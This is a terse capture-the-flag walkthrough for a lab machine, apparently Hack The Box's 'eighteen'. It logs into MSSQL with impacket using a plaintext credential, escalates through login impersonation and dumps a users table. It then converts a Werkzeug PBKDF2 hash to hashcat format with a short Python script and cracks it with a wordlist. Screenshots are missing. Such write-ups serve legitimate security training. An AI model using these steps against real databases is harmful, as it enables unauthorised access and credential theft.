MSSQL

impacket-mssqlclient

impacket-mssqlclient kevin:'iNa2we6haRj2gaw!'@eighteen.htb

image.png

Database Impersonation

enum_impersonate

image.png

exec_as_login appdev

image.png

Dump DB credentials

use financial_planner;
SELECT * FROM users;

image.png


Cracking admin’s hash

Werkzeug Format → Hashcat Format

import base64

s= "AMtzteQIG7yAbZIa"
h= "0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133"

salt_b64 = base64.b64encode(s.encode()).decode()
print ("salt: ",salt_b64)

hash_b64 = base64.b64encode(bytes.fromhex(h)).decode()
print ("hash: ", hash_b64)

print(f"sha256:600000:{salt_b64}:{hash_b64}")
salt:  QU10enRlUUlHN3lBYlpJYQ==
hash:  BnOtkKC0r7GdZiM28Pzjqe3Qt7GRk3F74ozk1myIcTM=
sha256:600000:QU10enRlUUlHN3lBYlpJYQ==:BnOtkKC0r7GdZiM28Pzjqe3Qt7GRk3F74ozk1myIcTM=

Hashcat

hashcat -m 10900 hc_admin_hash.txt /usr/share/wordlists/rockyou.txt

image.png